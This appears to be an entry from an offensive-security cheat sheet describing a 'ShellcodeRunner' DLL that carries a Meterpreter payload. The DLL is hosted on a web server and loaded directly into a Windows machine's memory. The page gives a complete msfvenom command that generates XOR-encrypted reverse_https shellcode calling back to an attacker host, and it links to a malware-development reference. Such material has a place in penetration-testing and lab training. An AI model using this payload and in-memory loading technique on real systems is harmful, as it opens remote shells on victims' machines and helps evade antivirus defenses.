.. / ShellcodeRunner-DLL
Star

Shellrunner in managed DLL, with the below code you can create a DLL that hold an meterpreter payload. Host this DLL on your webserver and retrieve it via the second part of the code, which makes sure the DLL is directly loaded into the memory of the Windows machine. Important to note is the naming of the namespace ‘ShellcodeRunner’ and the method that must be executed ‘Run’. Those are mentioned in the commands.

Command Reference:

Kali machine: 10.10.14.21

byte[] buf: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.21 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
Command: Copy Extra code: Copy References:

https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners#c-dll-with-powershell-cradle-in-memory